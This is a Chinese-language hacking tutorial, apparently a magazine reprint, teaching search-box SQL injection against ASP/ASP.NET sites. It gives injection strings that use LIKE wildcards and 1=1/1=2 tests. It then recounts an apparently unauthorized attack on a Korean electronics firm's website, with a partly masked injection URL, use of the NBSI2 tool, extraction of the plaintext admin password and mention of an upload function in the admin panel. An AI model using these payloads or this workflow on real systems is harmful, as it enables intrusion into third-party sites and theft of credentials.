ASP注入漏洞在国内可谓是火得不能再火了,很多大站被它搞定过。绝大多数朋友都是利用工具,或者通过手工在后面加上“AND 1=1”和“AND 1=2”,再根据返回的页面内容来判断是否存在注入漏洞的,但是有另外的注入方法却被我们忽略了。
搜索型注入成功搞定跨国电子公司
文/图 勇哥儿
大家都知道,注入方式主要有数字型和字符型,但新手们常常忽略搜索型,因为搜索型在判断是否存在漏洞时要在搜索文本框中输入内容,然后再根据返回的页面内容来判断,比较烦琐。虽然NBSI2带有这种注入方式,但在打开页面的时候参数中一般是不带有搜索的参数的,怎么办呢?我的办法是手工改造它,然后再用NBSI2帮忙。
先给大家讲点前置知识,假如你只打算取出name记录,而且这些记录的名字必须以字母w打头,那么你就要用到下面的WHERE子句了:
SELECT name FROM Admin WHERE name LIKE 'w%'
如果想取出名字中包含字母w的,那么就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE '%w%'
如果想取出名字共三个字符,第一个字母是w,第三个字母是f的记录,那么你就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE 'w_f' (wtf也在其中,嘿)
小知识:百分比符号(%)的含义类似于DOS中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于DOS中的通配符“?”,代表任意一个字符。
大家可能经常看到在搜索时让我们选择是完全匹配还是部分匹配,如果是完全匹配则语句如下:
SELECT name FROM Admin WHERE name LIKE ‘$keyWord’
其中变量keyword表示我们在查询框中要输入的内容。如果是部分匹配:
SELECT name FROM Admin WHERE name LIKE ‘%$keyword%’
如果这个变量keyword没有过滤我们就可以构造下面的语句:
1.完全匹配:如果我们输入“wtf’ and ‘1’=’1 ”就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE ‘wtf’ and ‘1’=’1’
如果我们输入“wtf’ and ‘1’=’2” 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE ‘wtf’ and ‘1’=’2’
2.部分匹配:如果我们输入wtf%’ and 1=1 and ‘%’=’ 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE ‘%wtf%’ and 1=1 and ‘%’=’%’
如果我们输入wtf%’ and 1=2 and ‘%’=’ 就变成了如下语句:
SELECT name FROM Admin WHERE name LIKE ‘%wtf%’ and 1=2 and ‘%’=’%’
根据返回的页面内容是否相同就可以判断是否存在注入漏洞。
好,基本的东西介绍完了,我们来看看如何利用它!本文的目标是一个著名的韩国跨国电子公司,虽然它的程序是Asp.Net的,但却忽略了查询框的变量过滤,大家对比一下图1与图2就可以看出区别来。
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
图1
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
图2
如果在查询的文本框中不输入内容的话,查询的参数SC为空,这样利用NBSI2是扫描不出来的。根据图1和图2我们可以看出存在注入漏洞,这样我们构造一下注入地址:
http://notebook.***.com.cn/news/news.aspx?page=1&type=***&ST=title&SC=科技
特征码输入我们在图1中看到的2004,图3为NBSI2的注入分析结果。
[1] [2]
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
图3
很快就猜出了后台的用户名和密码,密码是明文的,字母特殊字符都有。进后台一看有上传图片功能……不玩了,后续的东西没有什么好说的了,闪人。
(出处:http://www.sheup.com)
[1] [2]